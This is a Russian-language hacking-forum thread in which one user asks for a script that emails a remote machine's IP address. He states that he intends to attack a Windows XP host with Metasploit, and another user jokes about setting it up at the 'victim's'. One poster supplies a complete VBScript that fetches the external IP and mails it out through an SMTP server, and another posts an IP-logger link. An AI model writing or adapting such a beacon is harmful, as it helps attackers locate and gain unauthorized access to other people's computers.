Подскажите как написать батник для отправки ip на электронную почту

Discussion in 'Уязвимости' started by kurt135, 21 Dec 2016.

  1. ComradKraken

    ComradKraken Member

    Joined:
    15 Dec 2016
    Messages:
    46
    Likes Received:
    36
    Reputations:
    3
    Можно, вот подсказка
    Code:
    Dim o
    Dim res
    Set o = CreateObject("Microsoft.XMLHTTP")
    o.open "GET", "http://icanhazip.com", False
    o.send
    res = o.responseText
    Msgbox res
     
    Payer likes this.
  2. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    39
    Likes Received:
    3
    Reputations:
    0
    ComradKraken: Подожди :) ну при вводе команды ipconfig я вижу ip адрес который определяется в http://speed-tester.info/.. :)Или к нему все равно нереально подключится из глобальной сети ?
     
  3. ComradKraken

    ComradKraken Member

    Joined:
    15 Dec 2016
    Messages:
    46
    Likes Received:
    36
    Reputations:
    3
    смотря как у тебя инет подключен, я так понял без роутера
     
  4. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    39
    Likes Received:
    3
    Reputations:
    0
    ComradKraken: Спасибо за подсказку :) Я ценю Ваш юмор (опытного пользователя ,программиста ),только для меня это набор символов и цифр. Я буду с месяц разбираться :)куда что вставлять:)и писать .
     
  5. ComradKraken

    ComradKraken Member

    Joined:
    15 Dec 2016
    Messages:
    46
    Likes Received:
    36
    Reputations:
    3
    чем подключаться собрался? сначала проверь открыт ли нужный порт извне, например через 2ip.ru
     
  6. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    39
    Likes Received:
    3
    Reputations:
    0
    ComradKraken:Подключатся я буду к удаленному компьютеру с установленной windows xp с открытыми портами 135,443 (что обычно открыто) с помощь metalsploit .
     
  7. ComradKraken

    ComradKraken Member

    Joined:
    15 Dec 2016
    Messages:
    46
    Likes Received:
    36
    Reputations:
    3
    Code:
    Dim o
    Dim res
    Set o = CreateObject("Microsoft.XMLHTTP")
    o.open "GET", "http://icanhazip.com", False
    o.send
    res = o.responseText
    
    Dim RemoteSenderBoxName : RemoteSenderBoxName = "[email protected]" '  сюда адрес ящика который ты завёл для отправки
    Dim RemoteSenderBoxPasswd : RemoteSenderBoxPasswd  = "obamka-pidorg"    '  сюда пароль ящика который ты завёл для отправки
    Dim MailReceiver : MailReceiver  = "[email protected]"     '  сюда адрес почты куда получать ип собрался
    
    Set emailObj      = CreateObject("CDO.Message")
    
    Set emailConfig = emailObj.Configuration
    'Set emailConfig  = CreateObject("CDO.Configuration")
    
    emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
    emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
    emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2
    emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
    emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 120
    
    emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")    = RemoteSenderBoxName
    emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")    = RemoteSenderBoxPasswd
    
    
    emailObj.From     = RemoteSenderBoxName
    emailObj.To       = MailReceiver
    
    emailObj.Subject  = "ip addr"
    emailObj.TextBody = res
    
    emailConfig.Fields.Update
    
    emailObj.Send
    этот vbs вернет внешний IP
     
    Payer likes this.
  8. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    39
    Likes Received:
    3
    Reputations:
    0
    ComradKraken: Меня тут бл... обрадовали , у меня оказывается :)серый ip адрес ,как мне сказали ...к удаленной машине по данному айпи адресу не подключишься ... Это реально так ???? Или мой юный и доверчивый мозг :):) на еб.... :)
     
  9. ComradKraken

    ComradKraken Member

    Joined:
    15 Dec 2016
    Messages:
    46
    Likes Received:
    36
    Reputations:
    3
    "серый" ты бы не увидел на этом ресурсе speed-tester,
    а что насчет той удаленной машины, проверь второй скрипт что я скинул , он вернет "белый" IP

    ЗЫ: я так понял ты через мобильный инет сидишь?
     
  10. Payer

    Payer Elder - Старейшина

    Joined:
    14 May 2010
    Messages:
    966
    Likes Received:
    4,170
    Reputations:
    51
    Вот у вас терпение!
    Осталось только выехать на место и настроить скрипт на месте у потерпевшего.
    :)
     
  11. ComradKraken

    ComradKraken Member

    Joined:
    15 Dec 2016
    Messages:
    46
    Likes Received:
    36
    Reputations:
    3
    ну что вы, я уже дал приказ мой вёртолёт прогревать :p
     
  12. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    39
    Likes Received:
    3
    Reputations:
    0
    ComradKraken: спасибо за код :) внешний айпи отправляется .
     
    ComradKraken likes this.
  13. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    39
    Likes Received:
    3
    Reputations:
    0
    ComradKraken: Спасибо еще раз :)за терпение ,и разжевывание :)У меня бы нервов не хватило бы
     
  14. ComradKraken

    ComradKraken Member

    Joined:
    15 Dec 2016
    Messages:
    46
    Likes Received:
    36
    Reputations:
    3
    :) ибо сказано было "
    ОТДАВАЙ, И К ТЕБЕ ВЕРНЁТСЯ
    "
     
    Turanchocks_ and Payer like this.
  15. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    39
    Likes Received:
    3
    Reputations:
    0
  16. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    39
    Likes Received:
    3
    Reputations:
    0
    ComradKraken: Вот:) объясните мене:) юному и доверчивому как та девствиница человеку :) Разве ip адрес который постоянно меняется при каждом новом включении компьютера не является серым ?? Одни говорят он серый(и к нему не подключишься через глобальную сеть) :) Вы говорите не серый :) Так какой он :) ?
     
  17. ComradKraken

    ComradKraken Member

    Joined:
    15 Dec 2016
    Messages:
    46
    Likes Received:
    36
    Reputations:
    3
    весь инет как бы состоит из подсетей соединённых друг с другом, твоя машина выходит в инет проходя через несколько подсетей провайдера, и в каждой этой подсети есть свои адреса и своя область видимости. :) Погугли про маршрутизацию в сетях, я сейчас ненмого занят
     
  18. Octavian

    Octavian Member

    Joined:
    8 Jul 2015
    Messages:
    476
    Likes Received:
    85
    Reputations:
    21
    Чтоб узнать IP помогает http://iplogger.ru/
    простите если не в тему
     
  19. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    39
    Likes Received:
    3
    Reputations:
    0
    Octavian: что за разводящие ссылки :) и что тебе дал мой ip адрес :)
     
  20. Octavian

    Octavian Member

    Joined:
    8 Jul 2015
    Messages:
    476
    Likes Received:
    85
    Reputations:
    21
    Чтоб узнать IP помогает http://iplogger.ru/
    простите если не в тему

    Прошу прочитать все
     
Loading...